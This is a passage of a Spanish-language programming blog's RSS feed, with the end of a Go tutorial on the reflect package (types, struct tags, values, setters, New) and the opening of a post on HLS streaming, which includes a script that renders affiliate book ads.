style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(field.Type.&lt;span style=&#34;color:#57c7ff&#34;&gt;Name&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(field.Type.&lt;span style=&#34;color:#57c7ff&#34;&gt;Kind&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// string string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En este caso, al ser tipos de datos primivitos, ambos son el mismo: string; puesto que el campo de tipo string se llama string.&lt;/p&gt;&#xA;&lt;h3 id=&#34;leer-los-tags-de-un-campo-de-un-struct-con-reflect&#34;&gt;Leer los tags de un campo de un struct con reflect&lt;/h3&gt;&#xA;&lt;p&gt;Reflect también nos permite acceder a los metadatos de un objeto, esas anotaciones que seguramente ya viste si has trabajado con ORM y/o JSON en Go.&lt;/p&gt;&#xA;&lt;p&gt;Para obtener los Tags de un struct se usa &lt;em&gt;Tag.Get&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Añadimos un tag personalizado para posteriormente leerlo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Coffee &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Origin &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;`tagEjemplo:&amp;#34;valor&amp;#34;`&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;Height &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;field &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; typeOfCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(field.Tag.&lt;span style=&#34;color:#57c7ff&#34;&gt;Get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tagEjemplo&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// valor&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;valor-del-dato-value-y-valueof&#34;&gt;Valor del dato: Value y ValueOf&lt;/h2&gt;&#xA;&lt;p&gt;Como te dije anteriormente, además de Type, hay otra parte muy importante en reflect, esta es &lt;em&gt;Value&lt;/em&gt;. &lt;em&gt;Value&lt;/em&gt; se corresponde con el valor de una interfaz. ¿Y cómo podemos obtener un &lt;em&gt;Value&lt;/em&gt;? Pues con &lt;em&gt;ValueOf&lt;/em&gt;, ¿te fijas como se conserva la coherencia?&lt;/p&gt;&#xA;&lt;p&gt;El método &lt;em&gt;ValueOf&lt;/em&gt; recibe un &lt;em&gt;interface&lt;/em&gt; como parámetro y retorna un objeto de tipo &lt;em&gt;Value&lt;/em&gt; que contendrá todos los métodos necesarios para modificar su propio valor.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Reflect--&gt;ValueOf;&#xA;    Reflect--&gt;Value;&#xA;    ValueOf--&gt;Value;&#xA;    Value--&gt;Elem;&#xA;    Elem--&gt;Field;&#xA;    Elem--&gt;Set;&#xA;    Elem--&gt;SetString;&#xA;    Elem--&gt;SetComplex;&#xA;    Elem--&gt;SetFloat;&#xA;    Elem--&gt;SetInt;&#xA;    Elem--&gt;SetBool;&#xA;    Elem--&gt;SetInt;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Mira este ejemplo donde se aprecia como &lt;em&gt;ValueOf&lt;/em&gt; retorna el valor de nuestro struct.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ValueOf devolverá el valor de nuestra variable&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;instanciaDelCafe &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Coffee{Origin: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Michoacan&amp;#34;&lt;/span&gt;, Height: &lt;span style=&#34;color:#ff9f43&#34;&gt;1100&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ValueOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(ValueOfCoffee)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Michoacan 1100}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A partir de Value nosotros tendremos una serie de métodos para cambiar el valor de un objeto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;modificar-un-campo-de-un-objeto-value&#34;&gt;Modificar un campo de un objeto Value&lt;/h3&gt;&#xA;&lt;p&gt;Para modificar un campo necesitamos acceder al objeto &lt;em&gt;Value&lt;/em&gt; que apunta a nuestro objeto, el cual podemos obtener pasándole un puntero al método &lt;em&gt;ValueOf&lt;/em&gt;. Y, a partir de ahí, usaremos &lt;em&gt;Elem&lt;/em&gt; para acceder al valor de nuestro objeto, luego a su primer campo (sólo en el caso de structs) y finalmente cambiar el valor usando &lt;em&gt;SetString&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;instanciaDelCafe &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; Coffee{Origin: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Michoacan&amp;#34;&lt;/span&gt;, Height: &lt;span style=&#34;color:#ff9f43&#34;&gt;1100&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valueofCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valueofCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Elem&lt;/span&gt;().&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;).&lt;span style=&#34;color:#57c7ff&#34;&gt;SetString&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Oaxaca&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//{Oaxaca 1100}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;los-metodos-para-asignar-datos-en-reflect&#34;&gt;Los métodos para asignar datos en reflect&lt;/h3&gt;&#xA;&lt;p&gt;Además del método SetString, Go nos provee de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/reflect&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;otra serie de métodos especializados para cada tipo de dato&lt;/a&gt;&#xA; :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SetBool(x bool)&lt;/li&gt;&#xA;&lt;li&gt;SetBytes(x []byte)&lt;/li&gt;&#xA;&lt;li&gt;SetCap(n int)&lt;/li&gt;&#xA;&lt;li&gt;SetComplex(x complex128)&lt;/li&gt;&#xA;&lt;li&gt;SetFloat(x float64)&lt;/li&gt;&#xA;&lt;li&gt;SetInt(x int64)&lt;/li&gt;&#xA;&lt;li&gt;SetIterKey(iter *MapIter)&lt;/li&gt;&#xA;&lt;li&gt;SetIterValue(iter *MapIter)&lt;/li&gt;&#xA;&lt;li&gt;SetLen(n int)&lt;/li&gt;&#xA;&lt;li&gt;SetMapIndex(key, elem Value)&lt;/li&gt;&#xA;&lt;li&gt;SetPointer(x unsafe.Pointer)&lt;/li&gt;&#xA;&lt;li&gt;SetString(x string)&lt;/li&gt;&#xA;&lt;li&gt;SetUint(x uint64)&lt;/li&gt;&#xA;&lt;li&gt;SetZero()&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Estos métodos se pueden acceder directamente desde &lt;em&gt;Value.Elem&lt;/em&gt; para tipos de datos no compuestos (como los structs).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stringOriginal &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Yo NO me imprimiré&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Obtenemos el valor del string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valor &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;stringOriginal)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;stringModificado &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Yo SI me imprimiré en la pantalla&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Cambiamos el valor original del string &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valor.&lt;span style=&#34;color:#57c7ff&#34;&gt;Elem&lt;/span&gt;().&lt;span style=&#34;color:#57c7ff&#34;&gt;SetString&lt;/span&gt;(stringModificado)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(stringOriginal)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Yo SI me imprimiré en la pantalla&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;modificar-un-campo-con-el-metodo-set&#34;&gt;Modificar un campo con el método Set&lt;/h4&gt;&#xA;&lt;p&gt;Los métodos especializados para &amp;ldquo;setear&amp;rdquo; un dato son muy útiles, pero a veces necesitamos un método más genérico que nos permita modificar los valores de manera dinámica, y para ello reflect nos provee de &lt;em&gt;Set&lt;/em&gt;, sí &lt;em&gt;Set&lt;/em&gt; a secas, sin nada más.&lt;/p&gt;&#xA;&lt;p&gt;En este ejemplo, primero creamos un string, para posteriormente obtener el valor de este, con &lt;em&gt;ValueOf&lt;/em&gt;, y luego pasarle este nuevo valor al método genérico &lt;em&gt;Set&lt;/em&gt;, el cual recibe un objeto &lt;em&gt;Value&lt;/em&gt;. ¿y de dónde sacamos &lt;em&gt;Value&lt;/em&gt;? Pues de pasarle cualquier dato a &lt;em&gt;ValueOf&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;unString &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Oaxaca&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nuevoValue &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;ValueOf&lt;/span&gt;(unString)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;valueofCoffee.&lt;span style=&#34;color:#57c7ff&#34;&gt;Elem&lt;/span&gt;().&lt;span style=&#34;color:#57c7ff&#34;&gt;Field&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;).&lt;span style=&#34;color:#57c7ff&#34;&gt;Set&lt;/span&gt;(nuevoValue)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// {Oaxaca 1100}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creacion-de-un-objeto-con-reflect&#34;&gt;Creación de un objeto con reflect&lt;/h2&gt;&#xA;&lt;p&gt;Reflect también nos permite crear objetos de manera dinámica a partir de un &lt;em&gt;Type&lt;/em&gt;. Para lo anterior, basta pasarle como argumento el tipo de objeto, &lt;em&gt;Type&lt;/em&gt;, que queremos crear, al método &lt;em&gt;New&lt;/em&gt;, el cual, como ya sabes, lo podemos obtener fácilmente a partir de &lt;em&gt;TypeOf&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;typeOfCoffee &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;TypeOf&lt;/span&gt;(instanciaDelCafe)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nuevaInstancia &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; reflect.&lt;span style=&#34;color:#57c7ff&#34;&gt;New&lt;/span&gt;(typeOfCoffee)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(nuevaInstancia)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// &amp;amp;{ 0}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A partir del tipo que obtuvimos con &lt;em&gt;TypeOf&lt;/em&gt; reflect creará un nuevo objeto. Sin embargo, en este caso, al tratarse de un struct al cual no le hemos especificado los valores de sus campos, se inicializará con sus &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;zero values&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Y ya se acabó la pequeña introducción a reflect, ahora ya sabes lo suficiente para confundirte y llorar mientras trabajas con cualquier cosa que necesite reflexión. ¿Genial no?&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El paquete &amp;ldquo;reflect&amp;rdquo; es una biblioteca útil en el lenguaje de programación Go que proporciona funciones para trabajar con la reflexión.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-la-reflexion-en-programacion&#34;&gt;¿Qué es la reflexión en programación?&lt;/h2&gt;&#xA;&lt;p&gt;La reflexión es la habilidad de un programa de inspeccionar su propia estructura en tiempo de ejecución. Esto incluye la habilidad de examinar: tipos, valores y metada de los objetos en memoria. La reflexión nos permite tener código más flexible y genérico y nos permite crear funciones y estructuras de dato que pueden trabajar con cualquier tipo de objeto, sin importar su tipo. Además es la base para la metaprogramación.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Stremea tus videos y audios: HLS para tus aplicaciones</title>
      <link>https://coffeebytes.dev/es/linux/stremea-tus-videos-y-audios-una-introduccion-sencilla-al-streaming-con-hls-para-tus-aplicaciones/</link>
      <pubDate>Thu, 02 Mar 2023 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/stremea-tus-videos-y-audios-una-introduccion-sencilla-al-streaming-con-hls-para-tus-aplicaciones/</guid>
      
      <category>linux</category>
      
      <category>software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Casi todos las aplicaciones web modernas realizan algún tipo de streaming, desde las plataformas de video, hasta aquellas de streaming en vivo. En esta entrada te explico como funciona el streaming con HLS de una manera tan simplificada que sacará tu purista interior.&lt;/p&gt;&#xA;&lt;p&gt;Te dejo un ejemplo mínimo de streaming en Go aquí en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/go-hls-streaming-example&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;mi repositorio en github&lt;/a&gt;&#xA;, por si quieres ver el código.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;},{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  